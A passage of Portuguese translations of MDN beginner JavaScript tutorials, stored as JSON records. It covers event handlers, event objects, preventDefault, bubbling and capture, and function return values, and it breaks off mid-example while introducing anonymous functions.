mesmo ouvinte. Os dois manipuladores a seguir não seriam aplicados:\n\n\n```js\nmyElement.onclick = functionA;\nmyElement.onclick = functionB;\n```\n\n\nComo a segunda linha sobrescreveria o valor de `onclick` definido pelo primeiro. Isso funcionaria, no entanto:\n\n\n```js\nmyElement.addEventListener(\"click\", functionA);\nmyElement.addEventListener(\"click\", functionB);\n```\n\n\nAmbas as funções serão executadas quando o elemento for clicado.\n\nAlém disso, há vários outros recursos e opções poderosos disponíveis com esse mecanismo de eventos. Estes são um pouco fora do escopo deste artigo, mas se você quiser ler sobre eles, dê uma olhada nas páginas de referência `addEventListener()` e `removeEventListener()`.\n\n### Qual mecanismo devo usar?\n\nDos três mecanismos, você definitivamente não deve usar os atributos do manipulador de eventos HTML — estas são desatualizadas e más práticas, como mencionado acima.\n\nOs outros dois são relativamente intercambiáveis, pelo menos para usos simples:\n\n* As propriedades do manipulador de eventos têm menos poder e opções, mas melhor compatibilidade entre navegadores (sendo suportado desde o Internet Explorer 8). Você provavelmente deve começar com estes como você está aprendendo.\n* Eventos DOM Nível 2 (`addEventListener()`, etc.) são mais poderosos, mas também podem se tornar mais complexos e menos bem suportados (suportados desde o Internet Explorer 9). Você também deve experimentá-los e tentar usá-los sempre que possível.\n\nAs principais vantagens do terceiro mecanismo são que você pode remover o código do manipulador de eventos, se necessário, usando `removeEventListener()`, e você pode adicionar vários listeners do mesmo tipo aos elementos, se necessário. Por exemplo, você pode chamar `addEventListener('click', function() { ... })` em um elemento várias vezes, com diferentes funções especificadas no segundo argumento. Isso é impossível com as propriedades do manipulador de eventos porque qualquer tentativa subseqüente de definir uma propriedade sobrescreverá as anteriores, por exemplo:\n\n\n```js\nelement.onclick = function1;\nelement.onclick = function2;\netc.\n```\n\n\n**Nota:** Se você for chamado para oferecer suporte a navegadores anteriores ao Internet Explorer 8 em seu trabalho, poderá encontrar dificuldades, pois esses navegadores antigos usam modelos de eventos diferentes dos navegadores mais recentes. Mas não tenha medo, a maioria das bibliotecas JavaScript (por exemplo, `jQuery`) tem funções internas que abstraem as diferenças entre navegadores. Não se preocupe muito com isso neste estágio de sua jornada de aprendizado.\n\nOutros conceitos de evento\n--------------------------\n\nNesta seção, abordaremos brevemente alguns conceitos avançados que são relevantes para os eventos. Não é importante entendê-las totalmente neste momento, mas pode servir para explicar alguns padrões de código que você provavelmente encontrará ao longo do tempo.\n\n### Objetos de evento\n\nÀs vezes, dentro de uma função de manipulador de eventos, você pode ver um parâmetro especificado com um nome como `event`, `evt`, ou simplesmente `e`. Isso é chamado de **event object**, e é passado automaticamente para os manipuladores de eventos para fornecer recursos e informações extras. Por exemplo, vamos reescrever nosso exemplo de cor aleatória novamente:\n\n\n```js\nfunction bgChange(e) {\n  var rndCol =\n    \"rgb(\" + random(255) + \",\" + random(255) + \",\" + random(255) + \")\";\n  e.target.style.backgroundColor = rndCol;\n  console.log(e);\n}\n\nbtn.addEventListener(\"click\", bgChange);\n```\n\n\n**Nota:** Você pode encontrar o código fonte completo para este exemplo no GitHub (também veja isso executando em tempo real).\n\nAqui você pode ver que estamos incluindo um objeto de evento, **e**, na função, e na função definindo um estilo de cor de fundo em `e.target` — que é o próprio botão. A propriedade `target` do objeto de evento é sempre uma referência ao elemento em que o evento acabou de ocorrer. Portanto, neste exemplo, estamos definindo uma cor de fundo aleatória no botão, não na página.\n\n**Nota:** Você pode usar qualquer nome que desejar para o objeto de evento — você só precisa escolher um nome que possa ser usado para referenciá-lo dentro da função de manipulador de eventos. `e`/`evt`/`event` são mais comumente usados pelos desenvolvedores porque são curtos e fáceis de lembrar. É sempre bom manter um padrão.\n\n`e.target` é incrivelmente útil quando você deseja definir o mesmo manipulador de eventos em vários elementos e fazer algo com todos eles quando ocorre um evento neles. Você pode, por exemplo, ter um conjunto de 16 blocos que desaparecem quando são clicados. É útil poder sempre apenas definir a coisa para desaparecer como `e.target`, ao invés de ter que selecioná-lo de alguma forma mais difícil. No exemplo a seguir (veja useful-eventtarget.html para o código-fonte completo; veja também a execução ao vivo aqui), criamos 16 elementos `<div>` usando JavaScript. Em seguida, selecionamos todos eles usando `document.querySelectorAll()` e, em seguida, percorremos cada um deles, adicionando um manipulador onclick a cada um, de modo que uma cor aleatória seja aplicada a cada um deles quando clicados:\n\n\n```js\nvar divs = document.querySelectorAll(\"div\");\n\nfor (var i = 0; i < divs.length; i++) {\n  divs[i].onclick = function (e) {\n    e.target.style.backgroundColor = bgChange();\n  };\n}\n```\n\n\nA saída é a seguinte (tente clicar em cima — divirta-se):\n```\n\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>Useful event target example</title>\n    <style>\n div {\n background-color: red;\n height: 100px;\n width: 25%;\n float: left;\n }\n </style>\n  </head>\n  <body>\n    <script>\n for (var i = 1; i <= 16; i++) {\n var myDiv = document.createElement(\"div\");\n document.body.appendChild(myDiv);\n }\n\n function random(number) {\n return Math.floor(Math.random() \\* number);\n }\n\n function bgChange() {\n var rndCol =\n \"rgb(\" + random(255) + \",\" + random(255) + \",\" + random(255) + \")\";\n return rndCol;\n }\n\n var divs = document.querySelectorAll(\"div\");\n\n for (var i = 0; i < divs.length; i++) {\n divs[i].onclick = function (e) {\n e.target.style.backgroundColor = bgChange();\n };\n }\n </script>\n  </body>\n</html>\n```\n\n\nA maioria dos manipuladores de eventos que você encontrará apenas tem um conjunto padrão de propriedades e funções (métodos) disponíveis no objeto de evento (consulte a referência de objeto `Event` para obter uma lista completa). Alguns manipuladores mais avançados, no entanto, adicionam propriedades especializadas contendo dados extras que precisam para funcionar. A Media Recorder API (en-US), por exemplo, tem um evento `dataavailable` que é acionado quando algum áudio ou vídeo é gravado e está disponível para fazer algo com (por exemplo, salvá-lo ou reproduzi-lo). O objeto de evento do manipulador correspondente ondataavailable (en-US) tem uma propriedade de dados disponível contendo os dados de áudio ou vídeo gravados para permitir que você acesse e faça algo com ele.\n\n### Evitando o comportamento padrão\n\nÀs vezes, você se deparará com uma situação em que deseja interromper um evento fazendo o que ele faz por padrão. O exemplo mais comum é o de um formulário da Web, por exemplo, um formulário de registro personalizado. Quando você preenche os detalhes e pressiona o botão Enviar, o comportamento natural é que os dados sejam enviados para uma página específica no servidor para processamento, e o navegador seja redirecionado para uma página de \"mensagem de sucesso\" de algum tipo (ou a mesma página, se outra não for especificada.)\n\nO problema surge quando o usuário não submete os dados corretamente - como desenvolvedor, você deve interromper o envio para o servidor e fornecer uma mensagem de erro informando o que está errado e o que precisa ser feito para corrigir as coisas. Alguns navegadores suportam recursos automáticos de validação de dados de formulário, mas como muitos não oferecem isso, é recomendável não depender deles e implementar suas próprias verificações de validação. Vamos dar uma olhada em um exemplo simples.\n\nPrimeiro, um formulário HTML simples que requer que você digite seu primeiro e último nome:\n\n\n```html\n<form>\n  <div>\n    <label for=\"fname\">First name: </label>\n    <input id=\"fname\" type=\"text\" />\n  </div>\n  <div>\n    <label for=\"lname\">Last name: </label>\n    <input id=\"lname\" type=\"text\" />\n  </div>\n  <div>\n    <input id=\"submit\" type=\"submit\" />\n  </div>\n</form>\n<p></p>\n```\n\n\n```\ndiv {\n  margin-bottom: 10px;\n}\n```\n\n\nAgora algum JavaScript — aqui nós implementamos uma verificação muito simples dentro de um manipulador de evento onsubmit (o evento submit é disparado em um formulário quando é enviado) que testa se os campos de texto estão vazios. Se estiverem, chamamos a função `preventDefault()` no objeto de evento — que interrompe o envio do formulário — e, em seguida, exibir uma mensagem de erro no parágrafo abaixo do nosso formulário para informar ao usuário o que está errado:\n\n\n```js\nvar form = document.querySelector(\"form\");\nvar fname = document.getElementById(\"fname\");\nvar lname = document.getElementById(\"lname\");\nvar submit = document.getElementById(\"submit\");\nvar para = document.querySelector(\"p\");\n\nform.onsubmit = function (e) {\n  if (fname.value === \"\" || lname.value === \"\") {\n    e.preventDefault();\n    para.textContent = \"You need to fill in both names!\";\n  }\n};\n```\n\n\nObviamente, isso é uma validação de forma bastante fraca — ela não impediria o usuário de validar o formulário com espaços ou números inseridos nos campos, por exemplo — mas está tudo bem, por exemplo. A saída é a seguinte:\n\n**Nota:** para o código fonte completo, veja preventdefault-validation.html (também veja isso executando em tempo real aqui.)\n\n### Borbulhamento e captura de eventos\n\nO assunto final a ser abordado aqui é algo que você não encontrará com frequência, mas pode ser uma dor real se você não entender. Borbulhamento e captura de eventos são dois mecanismos que descrevem o que acontece quando dois manipuladores do mesmo tipo de evento são ativados em um elemento. Vamos dar uma olhada em um exemplo para facilitar isso — abra o exemplo show-video-box.html em uma nova guia (e o código-fonte em outra guia). Ele também está disponível ao vivo abaixo:\n```\n\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>Show video box example</title>\n    <style>\n div {\n position: absolute;\n top: 50%;\n transform: translate(-50%, -50%);\n width: 480px;\n height: 380px;\n border-radius: 10px;\n background-color: #eee;\n background-image: linear-gradient(\n to bottom,\n rgba(0, 0, 0, 0),\n rgba(0, 0, 0, 0.1)\n );\n }\n\n .hidden {\n left: -50%;\n }\n\n .showing {\n left: 50%;\n }\n\n div video {\n display: block;\n width: 400px;\n margin: 40px auto;\n }\n </style>\n  </head>\n  <body>\n    <button>Display video</button>\n\n    <div class=\"hidden\">\n      <video>\n        <source\n src=\"https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/events/rabbit320.mp4\"\n type=\"video/mp4\" />\n        <source\n src=\"https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/events/rabbit320.webm\"\n type=\"video/webm\" />\n        <p>\n          Your browser doesn't support HTML5 video. Here is a\n          <a href=\"rabbit320.mp4\">link to the video</a> instead.\n        </p>\n      </video>\n    </div>\n\n    <script>\n var btn = document.querySelector(\"button\");\n var videoBox = document.querySelector(\"div\");\n var video = document.querySelector(\"video\");\n\n btn.onclick = function () {\n displayVideo();\n };\n\n function displayVideo() {\n if (videoBox.getAttribute(\"class\") === \"hidden\") {\n videoBox.setAttribute(\"class\", \"showing\");\n }\n }\n\n videoBox.addEventListener(\"click\", function () {\n videoBox.setAttribute(\"class\", \"hidden\");\n });\n\n video.addEventListener(\"click\", function () {\n video.play();\n });\n </script>\n  </body>\n</html>\n```\n\n\nEste é um exemplo bastante simples que mostra e oculta um `<div>` com um elemento `<video>` dentro dele:\n\n\n```html\n<button>Display video</button>\n\n<div class=\"hidden\">\n  <video>\n    <source src=\"rabbit320.mp4\" type=\"video/mp4\" />\n    <source src=\"rabbit320.webm\" type=\"video/webm\" />\n    <p>\n      Your browser doesn't support HTML5 video. Here is a\n      <a href=\"rabbit320.mp4\">link to the video</a> instead.\n    </p>\n  </video>\n</div>\n```\n\n\nQuando o `<button>` é clicado, o vídeo é exibido, alterando o atributo de classe em `<div>` de `hidden` para `showing` (o CSS do exemplo contém essas duas classes, que posicione a caixa fora da tela e na tela, respectivamente):\n\n\n```js\nbtn.onclick = function () {\n  videoBox.setAttribute(\"class\", \"showing\");\n};\n```\n\n\nEm seguida, adicionamos mais alguns manipuladores de eventos `onclick` — o primeiro ao `<div>` e o segundo ao `<video>`. A ideia é que, quando a área do `<div>` fora do vídeo for clicada, a caixa deve ser ocultada novamente; quando o vídeo em si é clicado, o vídeo deve começar a tocar.\n```\n\nvideoBox.onclick = function() {\n  videoBox.setAttribute('class', 'hidden');\n};\n\nvideo.onclick = function() {\n  video.play();\n};\n```\n\n\nMas há um problema — atualmente, quando você clica no vídeo, ele começa a ser reproduzido, mas faz com que o `<div>` também fique oculto ao mesmo tempo. Isso ocorre porque o vídeo está dentro do `<div>` — é parte dele — portanto, clicar no vídeo realmente executa os dois manipuladores de eventos acima.\n\n#### Borbulhando e capturando explicados\n\nQuando um evento é acionado em um elemento que possui elementos pai (por exemplo, o `<video>` no nosso caso), os navegadores modernos executam duas fases diferentes — a fase de **captura** e a fase de **bubbling**.\n\nNa fase de **captura**:\n\n* O navegador verifica se o ancestral mais externo do elemento (`<html>`) tem um manipulador de eventos `onclick` registrado nele na fase de captura e o executa em caso afirmativo.\n* Em seguida, ele passa para o próximo elemento dentro de `<html>` e faz a mesma coisa, depois o próximo, e assim por diante até alcançar o elemento que foi realmente clicado.\n\nNa fase de **bubbling**, ocorre exatamente o oposto:\n\n* O navegador verifica se o elemento que realmente foi clicado tem um manipulador de eventos `onclick` registrado nele na fase de bubbling e o executa em caso afirmativo.\n* Em seguida, ele passa para o próximo elemento ancestral imediato e faz a mesma coisa, depois o próximo, e assim por diante, até alcançar o elemento `<html>`.\n\n![](/pt-BR/docs/Learn/JavaScript/Building_blocks/Events/bubbling-capturing.png)\n\n(Clique na imagem para um diagrama maior)\n\nNos navegadores modernos, por padrão, todos os manipuladores de eventos são registrados na fase de bubbling. Portanto, em nosso exemplo atual, quando você clica no vídeo, o evento de clique passa do elemento `<video>` para o elemento `<html>` Pelo caminho:\n\n* Ele encontra o manipulador `video.onclick...` e o executa, então o vídeo começa a ser reproduzido pela primeira vez.\n* Em seguida, ele encontra o manipulador `videoBox.onclick...` e o executa, então o vídeo também está oculto.\n\n#### Corrigindo o problema com stopPropagation()\n\nEste é um comportamento irritante, mas existe uma maneira de corrigir isso! O objeto de evento padrão tem uma função disponível chamada `stopPropagation()`, que quando invocada no objeto de evento de um manipulador, faz com que o manipulador seja executado, mas o evento não borbulha mais acima na cadeia, portanto, mais nenhum manipulador rodará.\n\nPodemos, portanto, consertar nosso problema atual alterando a segunda função do manipulador no bloco de códigos anterior para isto:\n\n\n```js\nvideo.onclick = function (e) {\n  e.stopPropagation();\n  video.play();\n};\n```\n\n\nVocê pode tentar fazer uma cópia local do código-fonte show-video-box.html source code e tentar corrigi-lo sozinho, ou observar o resultado corrigido em show-video-box-fixed.html (veja também o código-fonte aqui).\n\n**Nota:** Por que se preocupar em capturar e borbulhar? Bem, nos velhos tempos em que os navegadores eram muito menos compatíveis entre si do que são agora, o Netscape usava apenas captura de eventos, e o Internet Explorer usava apenas borbulhamento de eventos. Quando o W3C decidiu tentar padronizar o comportamento e chegar a um consenso, eles acabaram com esse sistema que incluía ambos, que é o único navegador moderno implementado.\n\n**Nota:** Como mencionado acima, por padrão, todos os manipuladores de eventos são registrados na fase de bubbling, e isso faz mais sentido na maioria das vezes. Se você realmente quiser registrar um evento na fase de captura, registre seu manipulador usando `addEventListener()`, e defina a propriedade terceira opcional como `true`.\n\n#### Delegação de eventos\n\nO borbulhar também nos permite aproveitar a **delegação de eventos** — esse conceito depende do fato de que, se você quiser que algum código seja executado quando clicar em qualquer um de um grande número de elementos filho, você pode definir o ouvinte de evento em seu pai e ter os eventos que acontecem neles confluem com o pai, em vez de precisar definir o ouvinte de evento em cada filho individualmente.\n\nUm bom exemplo é uma série de itens de lista — Se você quiser que cada um deles apareça uma mensagem quando clicado, você pode definir o ouvinte de evento `click` no pai `<ul>`, e ele irá aparecer nos itens da lista.\n\nEste conceito é explicado mais adiante no blog de David Walsh, com vários exemplos — veja Como funciona a delegação de eventos em JavaScript.\n\nConclusão\n---------\n\nAgora você deve saber tudo o que precisa saber sobre os eventos da Web nesse estágio inicial. Como mencionado acima, os eventos não são realmente parte do núcleo do JavaScript — eles são definidos nas APIs da Web do navegador.\n\nAlém disso, é importante entender que os diferentes contextos nos quais o JavaScript é usado tendem a ter diferentes modelos de evento — de APIs da Web a outras áreas, como WebExtensions de navegador e Node.js (JavaScript do lado do servidor). Não esperamos que você entenda todas essas áreas agora, mas certamente ajuda a entender os fundamentos dos eventos à medida que você avança no aprendizado do desenvolvimento da web.\n\nSe houver algo que você não entendeu, fique à vontade para ler o artigo novamente, ou entre em contato conosco para pedir ajuda.\n\nVeja também\n-----------\n\n* Event order (discussion of capturing and bubbling) — an excellently detailed piece by Peter-Paul Koch.\n* Event accessing (discussion of the event object) — another excellently detailed piece by Peter-Paul Koch.\n* Event reference (en-US)\n* Anterior\n* Menu: Building blocks\n* Próxima"}
{"title":"Valores de retorno de função - Aprendendo desenvolvimento web","text":"Valores de retorno de função\n============================\n\n* Anterior\n* Menu: Building blocks\n* Próxima\n\nHá um último conceito essencial para discutirmos neste curso, para fechar nossa visão das funções — valores de retorno. Algumas funções não retornam um valor significativo após a conclusão, mas outras o fazem, e é importante entender quais são seus valores, como utilizá-los em seu código e como fazer com que suas próprias funções personalizadas retornem valores úteis. Nós vamos cobrir tudo isso abaixo.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conhecimento básico de internet, compreenção básica de HTML e CSS,\n JavaScript primeiros passos,\n Funções — reutilizando blocos de código.\n  |\n| Objetivo: | Entender os valores de retorno de uma função, e como utilizá-los |\n\nQuais são os valores de retorno?\n--------------------------------\n\n**Valores de retorno** são exatamente como soam — valores retornados pela função quando são concluídos. Você já conheceu os valores de retorno várias vezes, embora possa não ter pensado neles explicitamente. Vamos voltar para algum código familiar:\n\n\n```js\nvar myText = \"I am a string\";\nvar newString = myText.replace(\"string\", \"sausage\");\nconsole.log(newString);\n// the replace() string function takes a string,\n// replaces one substring with another, and returns\n// a new string with the replacement made\n```\n\n\nNós vimos exatamente este bloco de código em nosso primeiro artigo de função. Estamos invocando a função replace() na string `myText` e passando a ela dois parâmetros — a substring para localizar e a substring para substituí-la. Quando essa função é concluída (termina a execução), ela retorna um valor, que é uma nova string com a substituição feita. No código acima, estamos salvando esse valor de retorno como o valor da variável `newString`.\n\nSe você observar a página de referência MDN da função de substituição, verá uma seção chamada Valor de retorno. É muito útil conhecer e entender quais valores são retornados por funções, portanto, tentamos incluir essas informações sempre que possível.\n\nAlgumas funções não retornam um valor de retorno como tal (em nossas páginas de referência, o valor de retorno é listado como `void` ou `undefined` em tais casos). Por exemplo, na função displayMessage() que criamos no artigo anterior, nenhum valor específico é retornado como resultado da função que está sendo chamada. Apenas faz uma caixa aparecer em algum lugar na tela — é isso!\n\nGeralmente, um valor de retorno é usado onde a função é uma etapa intermediária em um cálculo de algum tipo. Você quer chegar a um resultado final, que envolve alguns valores. Esses valores precisam ser calculados por uma função, que retorna os resultados para que possam ser usados no próximo estágio do cálculo.\n\n### Usando valores de retorno em suas próprias funções\n\nPara retornar um valor de uma função personalizada, você precisa usar ... aguarde por isso ... a palavra-chave return. Vimos isso em ação recentemente em nosso exemplo random-canvas-circles.html. Nossa função `draw()` desenha 100 círculos aleatórios em algum lugar em um HTML `<canvas>`:\n\n\n```js\nfunction draw() {\n  ctx.clearRect(0, 0, WIDTH, HEIGHT);\n  for (var i = 0; i < 100; i++) {\n    ctx.beginPath();\n    ctx.fillStyle = \"rgba(255,0,0,0.5)\";\n    ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 \\* Math.PI);\n    ctx.fill();\n  }\n}\n```\n\n\nDentro de cada iteração de loop, três chamadas são feitas para a função `random()` , para gerar um valor aleatório para a coordenada x do círculo atual, coordenada y e raio, respectivamente. A função `random()` recebe um parâmetro — um número inteiro — e retorna um número aleatório inteiro entre 0 e esse número. Se parece com isso:\n\n\n```js\nfunction randomNumber(number) {\n  return Math.floor(Math.random() \\* number);\n}\n```\n\n\nIsso pode ser escrito da seguinte maneira:\n\n\n```js\nfunction randomNumber(number) {\n  var result = Math.floor(Math.random() \\* number);\n  return result;\n}\n```\n\n\nMas a primeira versão é mais rápida de escrever e mais compacta.\n\nEstamos retornando o resultado do cálculo `Math.floor(Math.random()*number)` cada vez que a função é chamada. Esse valor de retorno aparece no ponto em que a função foi chamada e o código continua. Então, por exemplo, se nós rodássemos a seguinte linha:\n\n\n```js\nctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 \\* Math.PI);\n```\n\n\ne as três chamadas `random()` retornaram os valores 500, 200 e 35, respectivamente, a linha seria executada como se fosse isso:\n\n\n```js\nctx.arc(500, 200, 35, 0, 2 \\* Math.PI);\n```\n\n\nAs chamadas de função na linha são executadas primeiro e seus valores de retorno substituem as chamadas de função, antes que a própria linha seja executada.\n\nAprendizagem ativa: nossa própria função de valor de retorno\n------------------------------------------------------------\n\nVamos escrever nossas próprias funções com valores de retorno.\n\n1. Primeiro de tudo, faça uma cópia local do arquivo function-library.html do GitHub. Esta é uma página HTML simples contendo um campo de texto `<input>` e um parágrafo. Há também um elemento `<script>` no qual armazenamos uma referência a ambos os elementos HTML em duas variáveis. Esta pequena página permitirá que você insira um número na caixa de texto e exiba diferentes números relacionados a ele no parágrafo abaixo.\n2. Vamos adicionar algumas funções úteis para este elemento `<script>`. Abaixo das duas linhas existentes de JavaScript, adicione as seguintes definições de função:\n\n```js\nfunction squared(num) {\n  return num \\* num;\n}\n\nfunction cubed(num) {\n  return num \\* num \\* num;\n}\n\nfunction factorial(num) {\n  var x = num;\n  while (x > 1) {\n    num \\*= x - 1;\n    x--;\n  }\n  return num;\n}\n```\n\nAs funções `squared()` e `cubed()` são bastante óbvias — elas retornam o quadrado ou cubo do número dado como um parâmetro. A função `factorial()` retorna o fatorial do número fornecido.\n3. Em seguida, vamos incluir uma maneira de imprimir informações sobre o número digitado na entrada de texto. Digite o seguinte manipulador de eventos abaixo das funções existentes:\n\n```js\ninput.onchange = function () {\n  var num = input.value;\n  if (isNaN(num)) {\n    para.textContent = \"You need to enter a number!\";\n  } else {\n    para.textContent =\n      num +\n      \" squared is \" +\n      squared(num) +\n      \". \" +\n      num +\n      \" cubed is \" +\n      cubed(num) +\n      \". \" +\n      num +\n      \" factorial is \" +\n      factorial(num) +\n      \".\";\n  }\n};\n```\n\nAqui estamos criando um manipulador de eventos `onchange` que é executado sempre que o evento de mudança é acionado na entrada de texto — ou seja, quando um novo valor é inserido na entrada de texto e enviado (insira um valor e pressione tab por exemplo). Quando essa função anônima é executada, o valor existente inserido na entrada é armazenado na variável `num`.\n Em seguida, fazemos um teste condicional — se o valor inserido não for um número, imprimiremos uma mensagem de erro no parágrafo. O teste analisa se a expressão `isNaN(num)` retorna true. Usamos a função isNaN() para testar se o valor num não é um número — se for, retorna `true`, e, se não, `false`.\n Se o teste retorna `false`, o valor `num` é um número, então imprimimos uma frase dentro do elemento de parágrafo informando o que é o quadrado, o cubo e o fatorial do número. A sentença chama as funções `squared()`, `cubed()`, e `factorial()` para obter os valores necessários.\n4. Salve seu código, carregue-o em um navegador e experimente.\n\n**Nota:** Se você tiver problemas para fazer o exemplo funcionar, sinta-se à vontade para verificar seu código na versão finalizada no GitHub (consulte também sua execução), ou peça ajuda.\n\nNeste ponto, gostaríamos que você escrevesse algumas funções e as adicionasse à biblioteca. Como sobre o quadrado ou raiz cúbica do número, ou a circunferência de um círculo com um raio de comprimento `num`?\n\nEste exercício trouxe alguns pontos importantes além de ser um estudo sobre como usar a declaração de `return`. Além disso, temos:\n\n* Analisamos outro exemplo de como escrever erros em nossas funções. Geralmente, é uma boa ideia verificar se os parâmetros necessários foram fornecidos e, no tipo de dados correto, e se eles são opcionais, que algum tipo de valor padrão é fornecido para permitir isso. Desta forma, o seu programa terá menos probabilidade de lançar erros.\n* Pense na ideia de criar uma biblioteca de funções. À medida que você avança na sua carreira de programação, você começará a fazer o mesmo tipo de coisas uma e outra vez. É uma boa idéia começar a manter sua própria biblioteca de funções utilitárias que você usa com muita frequência — você pode então copiá-las para o seu novo código, ou até mesmo aplicá-las a qualquer página HTML onde você precisar.\nConclusão\n---------\n\nEntão, temos isso — funções são divertidas, muito úteis e, embora haja muito o que falar em relação à sua sintaxe e funcionalidade, bastante compreensíveis, dados os artigos certos para se estudar.\n\nSe houver algo que você não entendeu, fique à vontade para ler o artigo novamente ou entre em contato conosco para pedir ajuda.\n\nVeja também\n-----------\n\n* Funções detalhadas — um guia detalhado cobrindo informações relacionadas a funções mais avançadas.\n* Funções de retorno de chamada em JavaScript — um padrão JavaScript comum é passar uma função para outra função como um argumento, que é então chamado dentro da primeira função. Isso está um pouco além do escopo deste curso, mas vale a pena ser estudado em pouco tempo.\n* Anterior\n* Menu: Building blocks\n* Próxima"}
{"title":"Funções — blocos reutilizáveis de código - Aprendendo desenvolvimento web","text":"Funções — blocos reutilizáveis de código\n========================================\n\n* Anterior\n* Menu: Building blocks\n* Próxima\n\nOutro conceito essencial em código é função, que permitem que você armazene um pedaço de código que realiza uma simples tarefa dentro de um bloco, e então chama aquele código sempre que você precisar usá-lo com um curto comando — em vez de ter que escrever o mesmo código multiplas vezes. Neste artigo nós vamos explorar conceitos fundamentais por trás das funções como sintaxe básica, como invocá-las e defini-las, escopo, e parâmetros.\n\n|  |  |\n| --- | --- |\n| Prerequisitos: | \n Infrmática básica, um entendimento básico de HTML e CSS,\n Primeiros passos em JavaScript.\n  |\n| Objetivo: | Entender conceitos fundamentais por trás das funções em JavaScript. |\n\nOnde eu encontro funções?\n-------------------------\n\nEm JavaScript, você encontrará funções em todos os lugares, de fato, nós vamos usar funções ao longo de todo o curso; nós só não falaremos sobre elas em damasia. Agora está na hora, contudo, para falarmos sobre funções explicitamente, e realmente explorar sua sintaxe.\n\nPraticamente sempre que você faz uso de um uma estrutura JavaScript em que tem um par de parenteses — `()` — e você **não** está usando uma estrutura embutida da linguagem como um for loop, while or do...while loop, ou if...else statement, você está fazendo uso de uma função.\n\nFunções embutidas do navegador\n------------------------------\n\nNós fizemos bastante uso de funções embutidas do navegador neste curso. Toda vez que manipulamos uma string de texto, por exemplo:\n\n\n```js\nvar myText = \"I am a string\";\nvar newString = myText.replace(\"string\", \"sausage\");\nconsole.log(newString);\n// the replace() string function takes a string,\n// replaces one substring with another, and returns\n// a new string with the replacement made\n```\n\n\nOu toda vez que manipulamos uma lista:\n\n\n```js\nvar myArray = [\"I\", \"love\", \"chocolate\", \"frogs\"];\nvar madeAString = myArray.join(\" \");\nconsole.log(madeAString);\n// the join() function takes an array, joins\n// all the array items together into a single\n// string, and returns this new string\n```\n\n\nOu toda vez que nós geramos um número aleatório:\n\n\n```js\nvar myNumber = Math.random();\n// the random() function generates a random\n// number between 0 and 1, and returns that\n// number\n```\n\n\n...nós usamos uma função!\n\n**Nota:** Fique a vontade para inserir essas linhas no console JavaScript do navegador para refamiliarizar-se com suas funcionalidades, se necessário.\n\nA linguagem JavaScript tem muitas funções embutidas que o permitem fazer coisas úteis sem que você mesmo tenha que escrever aquele código. De fato, alguns dos códigos que você está chamando quando você **invoca** (uma palavra rebuscada para rodar, ou executar) uma função embutida de navegador não poderia ser escrita em JavaScript — muitas dessa funções são chamadas a partes de código base do navegador, que é escrita grandemente em linguages de sistema de baixo nível como C++, não linguagem Web como JavaScript.\n\nTenha em mente que algumas funções embutidas de navegador não são parte do core da linguagem JavaScript — algumas são definidas como partes de APIs do navegador, que são construídas no topo da linguagem padão para prover ainda mais funcionalidades (recorra a esta seção inicial de nosso curso para mais descrições). Nós olharemos o uso de APIs de navegador em mais detalhes em um módulo posterior.\n\nFunções versus métodos\n----------------------\n\nUma coisas que devemos esclarecer antes de seguir em frente — tecnicamente falando, funções embutidas de navegador não são funções — elas são **métodos**. Isso pode soar um pouco assustador e confuso, mas não se preocupe — as palavras funções e métodos são largamente intercambeáveis, ao menos para nossos propósitos, neste estágio de nosso aprendizado.\n\nA distinção é que métodos são funções definidas dentro de objetos. Funções embutidas de navegador (métodos) e variáveis (que são chamadas **propriedades**) são armazenadas dentro de objetos estruturados, para tornar o código mais estruturado e fácil de manipular.\n\nVocê não precisa aprender sobre o funcionamento interno de objetos estruturados em JavaScript ainda — você pode esperar nosso módulo posterior que ensinará tudo sobre funcionamento interno de objetos, e como criar o seu próprio. Por hora, nós só queremos esclarecer qualquer confusão possível de método versus função — é provável que você encontre ambos termos enquanto você olhar os recursos disponível pela Web.\n\nFunções personalizadas\n----------------------\n\nNós vimos também várias funções personalizadas no curso até agora — funções definidas em seu código, não dentro do navegador. Sempre que você viu um nome personalizado com parênteses logo após ele, você estava usando funções personalizadas. em nosso exemplo random-canvas-circles.html (veja também o código fonte completo) de nosso loops article, nós incluimos a função personalizada `draw()` que era semelhante a essa:\n\n\n```js\nfunction draw() {\n  ctx.clearRect(0, 0, WIDTH, HEIGHT);\n  for (var i = 0; i < 100; i++) {\n    ctx.beginPath();\n    ctx.fillStyle = \"rgba(255,0,0,0.5)\";\n    ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 \\* Math.PI);\n    ctx.fill();\n  }\n}\n```\n\n\nEsta função desenha 100 círculos aleatórios dentro de um elemento `<canvas>`. Toda vez que queremos fazer isso, nós podemos simplesmente invocar a função com isto\n\n\n```js\ndraw();\n```\n\n\nao invés de ter que escrever todo o código novamente todas as vezes que queremos repetí-lo. E funções podem conter qualquer código que você gosta — você pode até chamar outra função dentro das funções. A função acima por exemplo chama a função `random()` três vezes, o qual é definido pelo seguinte código:\n\n\n```js\nfunction random(number) {\n  return Math.floor(Math.random() \\* number);\n}\n```\n\n\nNós precisamos desta função porque a função embutida do navegadorMath.random() só gera números decimais aleatórios entre 0 e 1. Nós queriamos um número aleatório inteiro entre 0 e um número especificado.\n\nInvocando funções\n-----------------\n\nProvavelmente você já tem conhecimento sobre iso agora, mas... para realmente usar uma função depois dela ter sido definida, você tem que rodá-la — ou invocá-la. Isso é feito ao se incluir o nome da função em algum lugar do código, seguido por parênteses.\n\n\n```js\nfunction myFunction() {\n  alert(\"hello\");\n}\n\nmyFunction();\n// Chama a função um vez\n```\n\nFunções anônimas\n----------------\n\nVocê viu funções definidas e invocadas de maneiras ligeiramente diferentes. Até agora nós só criamos funções como esta:\n\n\n```js\nfunction myFunction() {\n  alert(\"hello\");\n}\n```\n\n\nMas você também pode criar funções que não tem nome:\n\n\n```js\nfunction() {\n  alert('hello');\n}\n```\n\n\nIsto é chamado **Função anônima** — não tem nome! E também não fará nada em si mesma. Você geralmente cria funções anônimas junto com um manipulador de eventos, o exemplo a seguir poderia rodar o código dentro da função sempre que o botão associado é clicado:\n\n\n```js\nvar myButton = document.querySelector(\"button\");\n\nmyButton.onclick = function () 